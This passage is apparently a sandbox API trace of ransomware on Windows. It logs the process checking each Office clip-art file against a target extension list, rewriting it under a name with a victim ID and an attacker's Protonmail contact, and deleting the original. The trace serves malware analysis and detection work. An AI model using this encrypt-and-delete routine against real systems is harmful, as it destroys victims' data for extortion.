	[0183.728] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.728] lstrlenW (lpString=".dbf") returned 4
	[0183.728] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.728] lstrlenW (lpString=".1cd") returned 4
	[0183.728] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.728] lstrlenW (lpString=".jpg") returned 4
	[0183.728] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.728] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0183.729] lstrlenW (lpString="J0099157.JPG") returned 12
	[0183.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.729] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9671) returned 1
	[0183.729] CloseHandle (hObject=0x4a8) returned 1
	[0183.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220
	[0183.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.730] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.730] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0183.731] GetLastError () returned 0x0
	[0183.731] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x25c7, lpOverlapped=0x0) returned 1
	[0184.139] WriteFile (in: hFile=0x5b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x25d0, lpOverlapped=0x0) returned 1
	[0184.140] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.141] WriteFile (in: hFile=0x5b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.141] SetEndOfFile (hFile=0x5b4) returned 1
	[0184.141] CloseHandle (hObject=0x5b4) returned 1
	[0184.141] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.141] SetEndOfFile (hFile=0x4a8) returned 1
	[0184.144] CloseHandle (hObject=0x4a8) returned 1
	[0184.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.699] lstrlenW (lpString=".doc") returned 4
	[0184.699] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.699] lstrlenW (lpString=".docx") returned 5
	[0184.699] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0184.699] lstrlenW (lpString=".pdf") returned 4
	[0184.699] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.699] lstrlenW (lpString=".xls") returned 4
	[0184.699] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.700] lstrlenW (lpString=".xlsx") returned 5
	[0184.700] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0184.700] lstrlenW (lpString=".ppt") returned 4
	[0184.700] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.700] lstrlenW (lpString=".zip") returned 4
	[0184.700] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.700] lstrlenW (lpString=".rar") returned 4
	[0184.700] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.700] lstrlenW (lpString=".bz2") returned 4
	[0184.700] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.700] lstrlenW (lpString=".7z") returned 3
	[0184.700] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.700] lstrlenW (lpString=".dbf") returned 4
	[0184.700] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.700] lstrlenW (lpString=".1cd") returned 4
	[0184.700] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.701] lstrlenW (lpString=".jpg") returned 4
	[0184.701] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.701] lstrlenW (lpString=".doc") returned 4
	[0184.701] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.701] lstrlenW (lpString=".docx") returned 5
	[0184.701] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0184.701] lstrlenW (lpString=".pdf") returned 4
	[0184.701] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.701] lstrlenW (lpString=".xls") returned 4
	[0184.701] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.701] lstrlenW (lpString=".xlsx") returned 5
	[0184.701] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0184.701] lstrlenW (lpString=".ppt") returned 4
	[0184.701] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.701] lstrlenW (lpString=".zip") returned 4
	[0184.701] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.701] lstrlenW (lpString=".rar") returned 4
	[0184.701] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.702] lstrlenW (lpString=".bz2") returned 4
	[0184.702] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.702] lstrlenW (lpString=".7z") returned 3
	[0184.702] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.702] lstrlenW (lpString=".dbf") returned 4
	[0184.702] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.702] lstrlenW (lpString=".1cd") returned 4
	[0184.702] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0184.702] lstrlenW (lpString=".jpg") returned 4
	[0184.702] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.702] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0184.702] lstrlenW (lpString="J0099164.WMF") returned 12
	[0184.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.704] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=21946) returned 1
	[0184.704] CloseHandle (hObject=0x514) returned 1
	[0184.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220
	[0184.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.705] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.705] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.706] GetLastError () returned 0x0
	[0184.706] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x55ba, lpOverlapped=0x0) returned 1
	[0184.710] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x55c0, lpOverlapped=0x0) returned 1
	[0184.712] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.712] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.712] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.713] CloseHandle (hObject=0x5bc) returned 1
	[0184.713] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.713] SetEndOfFile (hFile=0x514) returned 1
	[0184.717] CloseHandle (hObject=0x514) returned 1
	[0184.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0184.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.720] lstrlenW (lpString=".doc") returned 4
	[0184.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.720] lstrlenW (lpString=".docx") returned 5
	[0184.720] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.720] lstrlenW (lpString=".pdf") returned 4
	[0184.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.720] lstrlenW (lpString=".xls") returned 4
	[0184.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.720] lstrlenW (lpString=".xlsx") returned 5
	[0184.720] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.720] lstrlenW (lpString=".ppt") returned 4
	[0184.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.720] lstrlenW (lpString=".zip") returned 4
	[0184.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.720] lstrlenW (lpString=".rar") returned 4
	[0184.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.720] lstrlenW (lpString=".bz2") returned 4
	[0184.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.720] lstrlenW (lpString=".7z") returned 3
	[0184.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.721] lstrlenW (lpString=".dbf") returned 4
	[0184.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.721] lstrlenW (lpString=".1cd") returned 4
	[0184.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.721] lstrlenW (lpString=".jpg") returned 4
	[0184.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.721] lstrlenW (lpString=".doc") returned 4
	[0184.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString=".docx") returned 5
	[0184.721] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.721] lstrlenW (lpString=".pdf") returned 4
	[0184.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString=".xls") returned 4
	[0184.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.721] lstrlenW (lpString=".xlsx") returned 5
	[0184.721] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.722] lstrlenW (lpString=".ppt") returned 4
	[0184.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.722] lstrlenW (lpString=".zip") returned 4
	[0184.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.722] lstrlenW (lpString=".rar") returned 4
	[0184.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString=".bz2") returned 4
	[0184.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString=".7z") returned 3
	[0184.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.722] lstrlenW (lpString=".dbf") returned 4
	[0184.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.722] lstrlenW (lpString=".1cd") returned 4
	[0184.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0184.722] lstrlenW (lpString=".jpg") returned 4
	[0184.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.723] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0184.723] lstrlenW (lpString="J0099165.JPG") returned 12
	[0184.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.726] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=50490) returned 1
	[0184.727] CloseHandle (hObject=0x514) returned 1
	[0184.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220
	[0184.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.735] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.735] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.737] GetLastError () returned 0x0
	[0184.737] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xc53a, lpOverlapped=0x0) returned 1
	[0184.742] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xc540, lpOverlapped=0x0) returned 1
	[0185.431] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.431] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.431] SetEndOfFile (hFile=0x5bc) returned 1
	[0186.028] CloseHandle (hObject=0x5bc) returned 1
	[0186.028] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.028] SetEndOfFile (hFile=0x514) returned 1
	[0186.032] CloseHandle (hObject=0x514) returned 1
	[0186.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1
	[0186.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.034] lstrlenW (lpString=".doc") returned 4
	[0186.034] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0186.034] lstrlenW (lpString=".docx") returned 5
	[0186.034] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0186.034] lstrlenW (lpString=".pdf") returned 4
	[0186.034] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0186.034] lstrlenW (lpString=".xls") returned 4
	[0186.034] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0186.034] lstrlenW (lpString=".xlsx") returned 5
	[0186.034] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0186.034] lstrlenW (lpString=".ppt") returned 4
	[0186.034] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0186.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.034] lstrlenW (lpString=".zip") returned 4
	[0186.034] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0186.034] lstrlenW (lpString=".rar") returned 4
	[0186.034] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0186.034] lstrlenW (lpString=".bz2") returned 4
	[0186.034] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0186.034] lstrlenW (lpString=".7z") returned 3
	[0186.034] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0186.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.034] lstrlenW (lpString=".dbf") returned 4
	[0186.034] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0186.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.035] lstrlenW (lpString=".1cd") returned 4
	[0186.035] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0186.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.035] lstrlenW (lpString=".jpg") returned 4
	[0186.035] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0186.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.035] lstrlenW (lpString=".doc") returned 4
	[0186.035] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0186.035] lstrlenW (lpString=".docx") returned 5
	[0186.035] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0186.035] lstrlenW (lpString=".pdf") returned 4
	[0186.035] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0186.035] lstrlenW (lpString=".xls") returned 4
	[0186.035] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0186.035] lstrlenW (lpString=".xlsx") returned 5
	[0186.035] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0186.035] lstrlenW (lpString=".ppt") returned 4
	[0186.035] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0186.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.035] lstrlenW (lpString=".zip") returned 4
	[0186.035] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0186.035] lstrlenW (lpString=".rar") returned 4
	[0186.035] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0186.035] lstrlenW (lpString=".bz2") returned 4
	[0186.035] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0186.035] lstrlenW (lpString=".7z") returned 3
	[0186.035] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
